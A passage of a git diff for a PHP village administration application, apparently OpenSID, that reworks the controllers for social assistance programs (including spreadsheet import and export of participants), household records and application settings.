+ 'text' => $item->nama_penduduk . ' [' . $item->nama_kelompok . ']' . ' RT-' . $item->wilayah->rt . ', RW-' . $item->wilayah->rw . ', ' . strtoupper(setting('sebutan_dusun')) . ' ' . $item->wilayah->dusun,
+ ];
+ }),
+ 'pagination' => [
+ 'more' => $penduduk->currentPage() < $penduduk->lastPage(),
+ ],
+ ]);
+ }
+
+ public function panduan()
+ {
+ $this->render('program_bantuan/panduan');
+ }
+
+ public function create()
+ {
+ $this->redirect_hak_akses('u');
+ $this->load->helper('form');
+ $this->load->library('form_validation');
+
+ $this->form_validation->set_rules('cid', 'Sasaran', 'required');
+ $this->form_validation->set_rules('nama', 'Nama Program', 'required');
+ $this->form_validation->set_rules('sdate', 'Tanggal awal', 'required');
+ $this->form_validation->set_rules('edate', 'Tanggal akhir', 'required');
+ $this->form_validation->set_rules('asaldana', 'Asal Dana', 'required');
+
+ $data['asaldana'] = unserialize(ASALDANA);
+
+ if ($this->form_validation->run() === false) {
+ $this->render('program_bantuan/create', $data);
+ } else {
+ $this->program_bantuan_model->set_program();
+ redirect('program_bantuan');
+ }
+ }
+
+ // $id = program.id
+ public function edit($id = 0)
+ {
+ $this->redirect_hak_akses('u');
+ $this->load->helper('form');
+ $this->load->library('form_validation');
+
+ $this->form_validation->set_rules('cid', 'Sasaran', 'required');
+ $this->form_validation->set_rules('nama', 'Nama Program', 'required');
+ $this->form_validation->set_rules('sdate', 'Tanggal awal', 'required');
+ $this->form_validation->set_rules('edate', 'Tanggal akhir', 'required');
+ $this->form_validation->set_rules('asaldana', 'Asal Dana', 'required');
+
+ Bantuan::findOrFail($id);
+ $data['asaldana'] = unserialize(ASALDANA);
+ $data['program'] = $this->program_bantuan_model->get_program(1, $id) ?? show_404();
+ $data['jml'] = $this->program_bantuan_model->jml_peserta_program($id);
+ $data['nama_excerpt'] = Str::limit($data['program'][0]['nama'], 25);
+
+ if ($this->form_validation->run() === false) {
+ $this->render('program_bantuan/edit', $data);
+ } else {
+ $this->program_bantuan_model->update_program($id);
+ redirect('program_bantuan');
+ }
+ }
+
+ // $id = program.id
+ public function update($id)
+ {
+ $this->redirect_hak_akses('u');
+ $this->program_bantuan_model->update_program($id);
+ redirect("program_bantuan/detail/{$id}");
+ }
+
+ // $id = program.id
+ public function hapus($id)
+ {
+ $this->redirect_hak_akses('h');
+ $this->program_bantuan_model->hapus_program($id);
+ redirect('program_bantuan');
+ }
+
+ public function search($program_id = 0)
+ {
+ $cari = $this->input->post('cari');
+
+ if ($cari != '') {
+ $this->session->cari = $cari;
+ } else {
+ $this->session->unset_userdata('cari');
+ }
+
+ redirect("program_bantuan/detail/{$program_id}");
+ }
+
+ // TODO: function ini terlalu panjang dan sebaiknya dipecah menjadi beberapa method
+ public function impor()
+ {
+ $this->redirect_hak_akses('u');
+
+ $this->load->library('MY_Upload', null, 'upload');
+ $this->upload->initialize([
+ 'upload_path' => sys_get_temp_dir(),
+ 'allowed_types' => 'xls|xlsx|xlsm',
+ 'file_name' => namafile('Impor Peserta Program Bantuan'),
+ ]);
+
+ if ($this->upload->do_upload('userfile')) {
+ $program_id = '';
+ // Data Program Bantuan
+ $temp = $this->session->per_page;
+ $this->session->per_page = 1000000000;
+ $ganti_program = $this->input->post('ganti_program');
+ $kosongkan_peserta = $this->input->post('kosongkan_peserta');
+ $ganti_peserta = $this->input->post('ganti_peserta');
+ $rand_kartu_peserta = $this->input->post('rand_kartu_peserta');
+
+ $upload = $this->upload->data();
+ $reader = ReaderEntityFactory::createXLSXReader();
+ $reader->open($upload['full_path']);
+
+ $data_program = [];
+ $data_peserta = [];
+ $data_diubah = '';
+
+ foreach ($reader->getSheetIterator() as $sheet) {
+ $no_baris = 0;
+ $no_gagal = 0;
+ $no_sukses = 0;
+
+ // Sheet Program
+ if ($sheet->getName() == 'Program') {
+ $pesan_program = '';
+ $daftar_program = Bantuan::pluck('id')->toArray();
+ $field = ['id', 'nama', 'sasaran', 'ndesc', 'asaldana', 'sdate', 'edate'];
+
+ foreach ($sheet->getRowIterator() as $row) {
+ $cells = $row->getCells();
+ $title = (string) $cells[0];
+ $value = $this->cek_is_date($cells[1]);
+
+ // Data terakhir
+ if ($title == '###') {
+ break;
+ }
+
+ if (in_array($no_baris, [5, 6]) && ! validate_date($value, 'Y-m-d')) {
+ session_error(', Data program baris Ke-' . ($no_baris) . ' berisi tanggal yang salah. Cek kembali data ' . $title . ' = ' . $value);
+
+ redirect($this->controller);
+ }
+
+ switch (true) {
+ /**
+ * baris 1 == id
+ * id bernilai NULL/Kosong( )/Strip(-)/tdk valid, buat program baru dan tampilkan notifkasi tambah program
+ * id bernilai id dan valid, update data program dan tampilkan notifkasi update program
+ */
+ case $no_baris == 0 && (in_array((int) $value, $daftar_program)):
+ $program_id = $value;
+ if (null === $ganti_program) {
+ $pesan_program .= 'Data program dengan id = ' . ($value) . ' ditemukan, data lama tetap digunakan
';
+ } else {
+ $pesan_program .= 'Data program dengan id = ' . ($value) . ' ditemukan, data lama diganti dengan data baru
';
+ }
+ break;
+
+ case $no_baris == 0 && ! in_array((int) $value, $daftar_program):
+ $program_id = null;
+ $pesan_program .= 'Data program dengan id = ' . ($value) . ' tidak ditemukan, program baru ditambahkan secara otomatis)
';
+ break;
+
+ default:
+ $data_program = array_merge($data_program, [$field[$no_baris] => $value]);
+ break;
+ }
+ $no_baris++;
+ }
+
+ // Proses impor program
+ $program_id = $this->program_bantuan_model->impor_program($program_id, $data_program, $ganti_program);
+ }
+
+ // Sheet Peserta
+ else {
+ $pesan_peserta = '';
+ $ambil_peserta = Bantuan::select('id', 'sasaran')->with(['peserta' => static function ($query) {
+ $query->select('program_id', 'peserta');
+ }])->find($program_id);
+ $sasaran = (int) $ambil_peserta->sasaran;
+ $terdaftar_peserta = $ambil_peserta->peserta->pluck('peserta')->toArray();
+
+ if ($kosongkan_peserta == 1) {
+ $pesan_peserta .= '- Data peserta ' . ($ambil_peserta[0]['nama']) . ' sukses dikosongkan
';
+ $terdaftar_peserta = null;
+ }
+
+ foreach ($sheet->getRowIterator() as $row) {
+ $no_baris++;
+ $cells = $row->getCells();
+ $peserta = (string) $cells[0];
+ $nik = (string) $cells[2];
+
+ // Data terakhir
+ if ($peserta == '###') {
+ break;
+ }
+
+ // Abaikan baris pertama / judul
+ if ($no_baris <= 1) {
+ continue;
+ }
+
+ // Cek valid data peserta sesuai sasaran
+ $cek_peserta = $this->program_bantuan_model->cek_peserta($peserta, $sasaran);
+ if (! in_array($nik, $cek_peserta['valid'])) {
+ $no_gagal++;
+ $pesan_peserta .= '- Data peserta baris Ke-' . ($no_baris) . ' / ' . $cek_peserta['sasaran_peserta'] . ' = ' . $peserta . ' tidak ditemukan
';
+
+ continue;
+ }
+
+ // Cek valid data penduduk sesuai nik
+ $cek_penduduk = $this->penduduk_model->get_penduduk_by_nik($nik);
+ if (! $cek_penduduk['id']) {
+ $no_gagal++;
+ $pesan_peserta .= '- Data peserta baris Ke-' . ($no_baris) . ' / NIK = ' . $nik . ' yang terdaftar tidak ditemukan
';
+
+ continue;
+ }
+
+ // Cek data peserta yg akan dimpor dan yg sudah ada
+ if (in_array($peserta, $terdaftar_peserta) && $ganti_peserta != 1) {
+ $no_gagal++;
+ $pesan_peserta .= '- Data peserta baris Ke-' . ($no_baris) . ' sudah ada
';
+
+ continue;
+ }
+
+ if (in_array($peserta, $terdaftar_peserta) && $ganti_peserta == 1) {
+ $data_diubah .= ', ' . $peserta;
+ $pesan_peserta .= '- Data peserta baris Ke-' . ($no_baris) . ' ditambahkan menggantikan data lama
';
+ }
+
+ // Jika kosong ambil data dari database
+ $no_id_kartu = (string) $cells[1];
+ $kartu_nama = (string) $cells[3];
+ $kartu_tempat_lahir = (string) $cells[4];
+ $kartu_tanggal_lahir = $cells[5];
+ $kartu_tanggal_lahir = $this->cek_is_date($kartu_tanggal_lahir);
+ $kartu_alamat = (string) $cells[6];
+ if (empty($kartu_tanggal_lahir)) {
+ $kartu_tanggal_lahir = $cek_penduduk['tanggallahir'];
+ } else {
+ if (! validate_date($kartu_tanggal_lahir, 'Y-m-d')) {
+ $no_gagal++;
+ $pesan_peserta .= '- Data peserta baris Ke-' . ($no_baris) . ' berisi tanggal yang salah
';
+
+ continue;
+ }
+ }
+
+ // Random no. kartu peserta
+ if ($rand_kartu_peserta == 1) {
+ $no_id_kartu = 'acak_' . random_int(1, 1000);
+ }
+
+ // Ubaha data peserta menjadi id (untuk saat ini masih data kelompok yg menggunakan id)
+ // Berkaitan dgn issue #3417
+ if ($sasaran == 4) {
+ $peserta = $cek_peserta['id'];
+ }
+
+ // Simpan data peserta yg diimpor dalam bentuk array
+ $simpan = [
+ 'config_id' => identitas('id'),
+ 'peserta' => $peserta,
+ 'program_id' => $program_id,
+ 'no_id_kartu' => $no_id_kartu,
+ 'kartu_nik' => $nik,
+ 'kartu_nama' => $kartu_nama ?: $cek_penduduk['nama'],
+ 'kartu_tempat_lahir' => $kartu_tempat_lahir ?: $cek_penduduk['tempatlahir'],
+ 'kartu_tanggal_lahir' => $kartu_tanggal_lahir,
+ 'kartu_alamat' => $kartu_alamat ?: $cek_penduduk['alamat_wilayah'],
+ 'kartu_id_pend' => $cek_penduduk['id'],
+ ];
+
+ $data_peserta[] = $simpan;
+ $no_sukses++;
+ }
+
+ // Proses impor peserta
+ if ($no_baris <= 0) {
+ $pesan_peserta .= '- Data peserta tidak tersedia
';
+ } else {
+ $this->program_bantuan_model->impor_peserta($program_id, $data_peserta, $kosongkan_peserta, $data_diubah);
+ }
+ }
+ }
+ $reader->close();
+
+ $notif = [
+ 'program' => $pesan_program,
+ 'gagal' => $no_gagal,
+ 'sukses' => $no_sukses,
+ 'peserta' => $pesan_peserta,
+ ];
+
+ $this->session->set_flashdata('notif', $notif);
+ $this->session->per_page = $temp;
+
+ redirect("{$this->controller}/detail/{$program_id}");
+ }
+
+ session_error($this->upload->display_errors());
+ redirect($this->controller);
+ }
+
+ // TODO: function ini terlalu panjang dan sebaiknya dipecah menjadi beberapa method
+ public function expor($program_id = '')
+ {
+ if ($this->program_bantuan_model->jml_peserta_program($program_id) == 0) {
+ $this->session->success = -1;
+ redirect($this->controller);
+ }
+
+ // Data Program Bantuan
+ $temp = $this->session->per_page;
+ $this->session->per_page = 1000000000;
+ $data = $this->program_bantuan_model->get_program(1, $program_id);
+ $tbl_program = $data[0];
+ $tbl_peserta = $data[1];
+
+ //Nama File
+ $writer = WriterEntityFactory::createXLSXWriter();
+ $fileName = namafile('program_bantuan_' . $tbl_program['nama']) . '.xlsx';
+ $writer->openToBrowser($fileName);
+
+ // Sheet Program
+ $writer->getCurrentSheet()->setName('Program');
+ $data_program = [
+ ['id', $tbl_program['id']],
+ ['config_id', identitas('id')],
+ ['Nama Program', $tbl_program['nama']],
+ ['Sasaran Program', $tbl_program['sasaran']],
+ ['Keterangan', $tbl_program['ndesc']],
+ ['Asal Dana', $tbl_program['asaldana']],
+ ['Rentang Waktu (Awal)', $tbl_program['sdate']],
+ ['Rentang Waktu (Akhir)', $tbl_program['edate']],
+ ];
+
+ foreach ($data_program as $row) {
+ $expor_program = [$row[0], $row[1]];
+ $rowFromValues = WriterEntityFactory::createRowFromArray($expor_program);
+ $writer->addRow($rowFromValues);
+ }
+
+ // Sheet Peserta
+ $writer->addNewSheetAndMakeItCurrent()->setName('Peserta');
+ $judul_peserta = ['Peserta', 'No. Peserta', 'NIK', 'Nama', 'Tempat Lahir', 'Tanggal Lahir', 'Alamat'];
+ $style = (new StyleBuilder())
+ ->setFontBold()
+ ->setFontSize(12)
+ ->setBackgroundColor(Color::YELLOW)
+ ->build();
+ $header = WriterEntityFactory::createRowFromArray($judul_peserta, $style);
+ $writer->addRow($header);
+
+ //Isi Tabel
+ foreach ($tbl_peserta as $row) {
+ $peserta = $row['peserta'];
+ // Ubah id menjadi kode untuk data kelompok
+ // Berkaitan dgn issue #3417
+ // Cari data kelompok berdasarkan id
+ if ($tbl_program['sasaran'] == 4) {
+ $this->load->model('kelompok_model');
+ $kelompok = $this->kelompok_model->get_kelompok($peserta);
+ $peserta = $kelompok['kode'];
+ }
+
+ $data_peserta = [
+ $peserta,
+ $row['no_id_kartu'],
+ $row['kartu_nik'],
+ $row['kartu_nama'],
+ $row['kartu_tempat_lahir'],
+ $row['kartu_tanggal_lahir'],
+ $row['kartu_alamat'],
+ ];
+ $rowFromValues = WriterEntityFactory::createRowFromArray($data_peserta);
+ $writer->addRow($rowFromValues);
+ }
+ $writer->close();
+
+ $this->session->per_page = $temp;
+ }
+
+ /**
+ * Unduh kartu peserta berdasarkan kolom program_peserta.kartu_peserta
+ *
+ * @param int $id_peserta Id peserta program bantuan
+ *
+ * @return void
+ */
+ public function unduh_kartu_peserta($id_peserta = 0)
+ {
+ // Ambil nama berkas dari database
+ $kartu_peserta = $this->db
+ ->select('kartu_peserta')
+ ->where('id', $id_peserta)
+ ->where('config_id', identitas('id'))
+ ->get('program_peserta')
+ ->row()
+ ->kartu_peserta;
+ ambilBerkas($kartu_peserta, $this->controller . '/detail/' . $id_peserta, null, LOKASI_DOKUMEN);
+ }
+
+ // Hapus peserta bantuan yg sudah dihapus
+ // TODO: ubah peserta menggunakan id untuk semua sasaran dan gunakan relasi database delete cascade
+ public function bersihkan_data()
+ {
+ $invalid = [];
+ $list_sasaran = array_keys($this->referensi_model->list_ref(SASARAN));
+
+ foreach ($list_sasaran as $sasaran) {
+ $invalid = array_merge($invalid, $this->program_bantuan_model->peserta_tidak_valid($sasaran));
+ }
+
+ $duplikat = [];
+ $list_program = $this->program_bantuan_model->list_program();
+
+ foreach ($list_program as $program) {
+ $duplikat = array_merge($duplikat, $this->program_bantuan_model->peserta_duplikat($program));
+ }
+
+ $data['ref_sasaran'] = $this->referensi_model->list_ref(SASARAN);
+ $data['invalid'] = $invalid;
+ $data['duplikat'] = $duplikat;
+ $this->render('program_bantuan/hasil_pembersihan', $data);
+ }
+
+ public function bersihkan_data_peserta()
+ {
+ $this->db
+ ->where('config_id', identitas('id'))
+ ->where_in('id', $this->input->post('id_cb'))
+ ->delete('program_peserta');
+
+ $this->session->success = 1;
+
+ redirect('program_bantuan/bersihkan_data');
+ }
+
+ protected function cek_is_date($cells)
+ {
+ if ($cells->isDate()) {
+ $value = $cells->getValue()->format('Y-m-d');
+ } else {
+ $value = (string) $cells;
+ }
+
+ return $value;
+ }
+}
diff --git a/donjo-app/controllers/Rtm.php b/donjo-app/controllers/Rtm.php
index 1afab18db..5f4ec42af 100644
--- a/donjo-app/controllers/Rtm.php
+++ b/donjo-app/controllers/Rtm.php
@@ -1,441 +1,485 @@
-load->model(['rtm_model', 'wilayah_model', 'program_bantuan_model']);
+ $this->_set_page = ['50', '100', '200'];
+ $this->_list_session = ['status_dasar', 'cari', 'dusun', 'rw', 'rt', 'order_by', 'id_bos', 'kelas', 'judul_statistik', 'sex', 'bdt', 'penerima_bantuan']; // Session id_bos
+ $this->modul_ini = 'kependudukan';
+ $this->sub_modul_ini = 'rumah-tangga';
+ }
+
+ public function clear()
+ {
+ $this->session->unset_userdata($this->_list_session);
+ $this->session->per_page = $this->_set_page[0];
+ $this->session->status_dasar = 1; // Rumah Tangga Aktif
+ $this->session->order_by = 1;
+
+ redirect($this->controller);
+ }
+
+ public function index($page = 1, $order_by = 0)
+ {
+ foreach ($this->_list_session as $list) {
+ if (in_array($list, ['dusun', 'rw', 'rt'])) {
+ ${$list} = $this->session->{$list};
+ } else {
+ $data[$list] = $this->session->{$list} ?: '';
+ }
+ }
+
+ if (isset($dusun)) {
+ $data['dusun'] = $dusun;
+ $data['list_rw'] = $this->wilayah_model->list_rw($dusun);
+
+ if (isset($rw)) {
+ $data['rw'] = $rw;
+ $data['list_rt'] = $this->wilayah_model->list_rt($dusun, $rw);
+
+ if (isset($rt)) {
+ $data['rt'] = $rt;
+ } else {
+ $data['rt'] = '';
+ }
+ } else {
+ $data['rw'] = '';
+ }
+ } else {
+ $data['dusun'] = $data['rw'] = $data['rt'] = '';
+ }
+
+ $per_page = $this->input->post('per_page');
+ if (isset($per_page)) {
+ $this->session->per_page = $per_page;
+ }
+
+ $data['pesan_rtm'] = $this->session->pesan_rtm ?: null; // Hasil impor rtm
+ $this->session->pesan_rtm = null;
+ $data['func'] = 'index';
+ $data['set_page'] = $this->_set_page;
+ $list_data = $this->rtm_model->list_data($page);
+ $data['paging'] = $list_data['paging'];
+ $data['main'] = $list_data['main'];
+ $data['keyword'] = $this->rtm_model->autocomplete();
+ $data['list_dusun'] = $this->wilayah_model->list_dusun();
+ $data['list_sex'] = $this->referensi_model->list_data('tweb_penduduk_sex');
+
+ $this->render('rtm/rtm', $data);
+ }
+
+ // $aksi = cetak/unduh
+ public function daftar($aksi = '', $privasi_nik = 0)
+ {
+ $data['main'] = $this->rtm_model->list_data(0);
+ if ($privasi_nik == 1) {
+ $data['privasi_nik'] = true;
+ }
+ $this->load->view("rtm/rtm_{$aksi}", $data);
+ }
+
+ public function edit_nokk($id = 0)
+ {
+ $this->redirect_hak_akses('u');
+ $data['kk'] = $this->rtm_model->get_rtm($id) ?? show_404();
+ $data['form_action'] = site_url("{$this->controller}/update_nokk/{$id}");
+
+ $this->load->view('rtm/ajax_edit_no_rtm', $data);
+ }
+
+ public function form_old($id = 0)
+ {
+ $this->redirect_hak_akses('u');
+ $data['form_action'] = site_url("{$this->controller}/insert/{$id}");
+
+ $this->load->view('rtm/ajax_add_rtm', $data);
+ }
+
+ public function apipendudukrtm()
+ {
+ if ($this->input->is_ajax_request()) {
+ $cari = $this->input->get('q');
+
+ $penduduk = Penduduk::with('pendudukHubungan')
+ ->select(['id', 'nik', 'nama', 'id_cluster', 'kk_level'])
+ ->when($cari, static function ($query) use ($cari) {
+ $query->orWhere('nik', 'like', "%{$cari}%")
+ ->orWhere('nama', 'like', "%{$cari}%");
+ })
+ ->where(static function ($query) {
+ $query->where('id_rtm', '=', 0)
+ ->orWhere('id_rtm', '=', null);
+ })
+ ->paginate(10);
+
+ return json([
+ 'results' => collect($penduduk->items())
+ ->map(static function ($item) {
+ return [
+ 'id' => $item->id,
+ 'text' => 'NIK : ' . $item->nik . ' - ' . $item->nama . ' RT-' . $item->wilayah->rt . ', RW-' . $item->wilayah->rw . ', ' . strtoupper(setting('sebutan_dusun') . ' ' . $item->wilayah->dusun . ' - ' . $item->pendudukHubungan->nama),
+ ];
+ }),
+ 'pagination' => [
+ 'more' => $penduduk->currentPage() < $penduduk->lastPage(),
+ ],
+ ]);
+ }
+
+ return show_404();
+ }
+
+ public function filter($filter = '', $order_by = '')
+ {
+ $value = $order_by ?: $this->input->post($filter);
+ if ($value != '') {
+ $this->session->{$filter} = $value;
+ } else {
+ $this->session->unset_userdata($filter);
+ }
+
+ redirect($this->controller);
+ }
+
+ public function dusun()
+ {
+ $this->session->unset_userdata(['rw', 'rt']);
+ $dusun = $this->input->post('dusun');
+ if ($dusun != '') {
+ $this->session->dusun = $dusun;
+ } else {
+ $this->session->unset_userdata('dusun');
+ }
+
+ redirect($this->controller);
+ }
+
+ public function rw()
+ {
+ $this->session->unset_userdata('rt');
+ $rw = $this->input->post('rw');
+ if ($rw != '') {
+ $this->session->rw = $rw;
+ } else {
+ $this->session->unset_userdata('rw');
+ }
+
+ redirect($this->controller);
+ }
+
+ public function rt()
+ {
+ $rt = $this->input->post('rt');
+ if ($rt != '') {
+ $this->session->rt = $rt;
+ } else {
+ $this->session->unset_userdata('rt');
+ }
+
+ redirect($this->controller);
+ }
+
+ public function insert()
+ {
+ $this->redirect_hak_akses('u');
+ $this->rtm_model->insert();
+ $this->session->order_by = 6;
+
+ redirect($this->controller);
+ }
+
+ public function insert_by_kk()
+ {
+ $this->redirect_hak_akses('u');
+ $this->rtm_model->insert_by_kk();
+ $this->session->order_by = 6;
+
+ redirect($this->controller);
+ }
+
+ public function insert_a()
+ {
+ $this->redirect_hak_akses('u');
+ $this->rtm_model->insert_a();
+ $this->session->order_by = 6;
+
+ redirect($this->controller);
+ }
+
+ public function insert_new()
+ {
+ $this->redirect_hak_akses('u');
+ $this->rtm_model->insert_new();
+ $this->session->order_by = 6;
+
+ redirect($this->controller);
+ }
+
+ public function update($id = 0)
+ {
+ $this->redirect_hak_akses('u');
+ $this->rtm_model->update($id);
+
+ redirect($this->controller);
+ }
+
+ public function update_nokk($id = 0)
+ {
+ $this->redirect_hak_akses('u');
+ $this->rtm_model->update_nokk($id);
+ redirect($this->controller);
+ }
+
+ public function delete($id = 0)
+ {
+ $this->redirect_hak_akses('h');
+ $this->rtm_model->delete($id);
+ redirect($this->controller);
+ }
+
+ public function delete_all()
+ {
+ $this->redirect_hak_akses('h');
+ $this->rtm_model->delete_all();
+ redirect($this->controller);
+ }
+
+ public function anggota($id = 0)
+ {
+ $data['p'] = $this->session->per_page;
+ $data['kk'] = $id;
+
+ $data['main'] = $this->rtm_model->list_anggota($id);
+ $data['kepala_kk'] = $this->rtm_model->get_kepala_rtm($id);
+ $data['program'] = $this->program_bantuan_model->get_peserta_program(3, $data['kepala_kk']['no_kk']);
+
+ $this->render('rtm/rtm_anggota', $data);
+ }
+
+ public function ajax_add_anggota($id = 0)
+ {
+ $this->redirect_hak_akses('u');
+
+ $data['form_action'] = site_url("{$this->controller}/add_anggota/{$id}");
+
+ $this->load->view('rtm/ajax_add_anggota_rtm_form', $data);
+ }
+
+ public function datables_anggota($id_pend = null)
+ {
+ if ($this->input->is_ajax_request()) {
+ $penduduk = Penduduk::with(['keluarga', 'keluarga.anggota'])
+ ->where('kk_level', '=', 1)
+ ->find($id_pend);
+ $anggota = collect($penduduk->keluarga->anggota)->whereIn('id_rtm', ['0', null]);
+
+ if ($anggota->count() > 1) {
+ $keluarga = $anggota->map(static function ($item, $key) {
+ return [
+ 'no' => $key + 1,
+ 'id' => $item->id,
+ 'nik' => $item->nik,
+ 'nama' => $item->nama,
+ 'kk_level' => SHDKEnum::valueOf($item->kk_level),
+ ];
+ })->values();
+ }
+
+ return json([
+ 'data' => $keluarga,
+ ]);
+ }
+
+ show_404();
+ }
+
+ public function edit_anggota($id_rtm = 0, $id = 0)
+ {
+ $this->redirect_hak_akses('u');
+ $data['hubungan'] = $this->rtm_model->list_hubungan();
+ $data['main'] = $this->rtm_model->get_anggota($id) ?? show_404();
+ $data['form_action'] = site_url("{$this->controller}/update_anggota/{$id_rtm}/{$id}");
+
+ $this->load->view('rtm/ajax_edit_anggota_rtm', $data);
+ }
+
+ public function kartu_rtm($id = 0)
+ {
+ $data['id_kk'] = $id;
+ $data['desa'] = $this->header['desa'];
+ $data['hubungan'] = $this->rtm_model->list_hubungan();
+ $data['main'] = $this->rtm_model->list_anggota($id);
+ $kk = $this->rtm_model->get_kepala_rtm($id);
+
+ if ($kk) {
+ $data['kepala_kk'] = $kk;
+ } else {
+ $data['kepala_kk'] = null;
+ }
+
+ $data['penduduk'] = $this->rtm_model->list_penduduk_lepas();
+ $data['form_action'] = site_url("{$this->controller}/print");
+
+ $this->render('rtm/kartu_rtm', $data);
+ }
+
+ public function cetak_kk($id = 0)
+ {
+ $data['id_kk'] = $id;
+ $data['desa'] = $this->header['desa'];
+ $data['main'] = $this->rtm_model->list_anggota($id);
+ $data['kepala_kk'] = $this->rtm_model->get_kepala_rtm($id);
+
+ $this->load->view('rtm/cetak_rtm', $data);
+ }
+
+ public function add_anggota($id = 0)
+ {
+ $this->redirect_hak_akses('u');
+ $this->rtm_model->add_anggota($id);
+
+ redirect("{$this->controller}/anggota/{$id}");
+ }
+
+ public function update_anggota($id_rtm = 0, $id = 0)
+ {
+ $this->redirect_hak_akses('u');
+ $this->rtm_model->update_anggota($id, $id_rtm);
+
+ redirect("{$this->controller}/anggota/{$id_rtm}");
+ }
+
+ public function delete_anggota($kk = 0, $id = 0)
+ {
+ $this->redirect_hak_akses('h');
+ $this->rtm_model->rem_anggota($kk, $id);
+
+ redirect("{$this->controller}/anggota/{$kk}");
+ }
+
+ public function delete_all_anggota($kk = 0)
+ {
+ $this->redirect_hak_akses('h');
+ $this->rtm_model->rem_all_anggota($kk);
+
+ redirect("{$this->controller}/anggota/{$kk}");
+ }
+
+ public function ajax_cetak($aksi = '')
+ {
+ $data['aksi'] = $aksi;
+ $data['form_action'] = site_url("{$this->controller}/daftar/{$aksi}");
+ $data['form_action_privasi'] = site_url("{$this->controller}/daftar/{$aksi}/1");
+
+ $this->load->view('sid/kependudukan/ajax_cetak_bersama', $data);
+ }
+
+ public function statistik($tipe = '0', $nomor = 0, $sex = null)
+ {
+ if ($sex == null) {
+ if ($nomor != 0) {
+ $this->session->sex = $nomor;
+ } else {
+ $this->session->unset_userdata('sex');
+ }
+ $this->session->unset_userdata('judul_statistik');
+
+ redirect($this->controller);
+ }
+
+ $this->session->unset_userdata('program_bantuan');
+ $this->session->sex = ($sex == 0) ? null : $sex;
+
+ switch ($tipe) {
+ case 'bdt':
+ $session = 'bdt';
+ $kategori = 'KLASIFIKASI BDT :';
+ break;
+
+ case $tipe > 50:
+ $program_id = preg_replace('/^50/', '', $tipe);
+ $this->session->program_bantuan = $program_id;
+
+ // TODO: Sederhanakan query ini, pindahkan ke model
+ $nama = $this->db
+ ->select('nama')
+ ->where('config_id', identitas('id'))
+ ->where('id', $program_id)
+ ->get('program')
+ ->row()
+ ->nama;
+
+ if (! in_array($nomor, [BELUM_MENGISI, TOTAL])) {
+ $this->session->status_dasar = null; // tampilkan semua peserta walaupun bukan hidup/aktif
+ $nomor = $program_id;
+ }
+ $kategori = $nama . ' : ';
+ $session = 'penerima_bantuan';
+ $tipe = 'penerima_bantuan';
+ break;
+ }
+ $this->session->{$session} = ($nomor != TOTAL) ? $nomor : null;
+
+ $judul = $this->rtm_model->get_judul_statistik($tipe, $nomor, $sex);
+ $this->session->unset_userdata('judul_statistik');
+ if ($judul['nama']) {
+ $this->session->judul_statistik = $kategori . $judul['nama'];
+ }
+
+ redirect($this->controller);
+ }
+
+ // Impor Pengelompokan Data Rumah Tangga
+ public function impor()
+ {
+ $this->redirect_hak_akses('u');
+ $this->rtm_model->impor();
+ redirect($this->controller);
+ }
+}
diff --git a/donjo-app/controllers/Setting.php b/donjo-app/controllers/Setting.php
index b8560c3d3..ca802f7eb 100644
--- a/donjo-app/controllers/Setting.php
+++ b/donjo-app/controllers/Setting.php
@@ -1,473 +1,201 @@
-load->model(['theme_model']);
+ $this->modul_ini = 'pengaturan';
+ $this->sub_modul_ini = 'aplikasi';
+ }
+
+ public function index()
+ {
+ $data = [
+ 'judul' => 'Pengaturan Aplikasi',
+ 'pengaturan_kategori' => ['sistem', 'web_theme', 'readonly', 'web', 'mobile'],
+ 'atur_latar' => true,
+ 'latar_website' => [$this->setting->latar_website, 'latar_website'],
+ 'latar_siteman' => [$this->setting->latar_login, 'latar_login'],
+ ];
+
+ return view('admin.pengaturan.index', $data);
+ }
+
+ public function ambil_foto()
+ {
+ $foto = $this->input->get('foto');
+ $pengaturan = $this->input->get('pengaturan');
+
+ if ($pengaturan == 'latar_website') {
+ $default = LOKASI_ASSET_FRONT_IMAGES;
+ $new_setting = $this->theme_model->lokasi_latar_website();
+ }
+
+ if ($pengaturan == 'latar_login' || $pengaturan == 'latar_login_mandiri') {
+ $default = LOKASI_ASSET_IMAGES;
+ $new_setting = LATAR_LOGIN;
+ }
+
+ ambilBerkas($foto, $this->controller, null, $foto == $pengaturan . '.jpg' ? $default : $new_setting, $tampil = true);
+ }
+
+ // Untuk view lama
+ public function update()
+ {
+ $this->redirect_hak_akses_url('u');
+ $hasil = $this->setting_model->update_setting($this->input->post());
+ status_sukses($hasil, false, 'Berhasil Ubah Data');
+
+ redirect($_SERVER['HTTP_REFERER']);
+ }
+
+ // Untuk view menggunakan blade
+ public function new_update()
+ {
+ $this->redirect_hak_akses_url('u');
+ if ($this->setting_model->update_setting($this->input->post())) {
+ set_session('success', 'Berhasil Ubah Data');
+ } else {
+ set_session('error', 'Gagal Ubah Data. ' . session('flash_error_msg'));
+ }
+
+ redirect($_SERVER['HTTP_REFERER']);
+ }
+
+ public function aktifkan_tracking()
+ {
+ if ($this->input->post('notifikasi') != 1) {
+ return;
+ } // Hanya bila dipanggil dari form pengumuman
+ $this->setting_model->aktifkan_tracking();
+ $this->db->where('config_id', identitas('id'))->where('kode', 'tracking_off')->update('notifikasi', ['aktif' => 0]);
+ }
+
+ // Pengaturan web
+ public function web()
+ {
+ $this->modul_ini = 'admin-web';
+ $this->sub_modul_ini = 'pengaturan-web';
+
+ $data = [
+ 'judul' => 'Pengaturan Halaman Web',
+ 'pengaturan_kategori' => ['conf_web'],
+ 'aksi_controller' => 'setting/web',
+ ];
+
+ return view('admin.pengaturan.index', $data);
+ }
+
+ // Pengaturan mandiri
+ public function mandiri()
+ {
+ $this->modul_ini = 'layanan-mandiri';
+ $this->sub_modul_ini = 'pengaturan-layanan-mandiri';
+
+ $data = [
+ 'judul' => 'Pengaturan Layanan Mandiri',
+ 'pengaturan_kategori' => ['setting_mandiri'],
+ 'atur_latar' => true,
+ 'aksi_controller' => 'setting/mandiri',
+ 'latar_mandiri' => [$this->setting->latar_login_mandiri, 'latar_login_mandiri'],
+ ];
+
+ return view('admin.pengaturan.index', $data);
+ }
+
+ // Pengaturan analisis
+ public function analisis()
+ {
+ $this->modul_ini = 'analisis';
+ $this->sub_modul_ini = 'pengaturan-analisis';
+
+ $data = [
+ 'judul' => 'Pengaturan Analisis',
+ 'pengaturan_kategori' => ['setting_analisis'],
+ 'aksi_controller' => 'setting/analisis',
+ ];
+
+ return view('admin.pengaturan.index', $data);
+ }
+
+ public function qrcode($aksi = '')
+ {
+ $this->modul_ini = 'pengaturan';
+ $this->sub_modul_ini = 'qr-code';
+
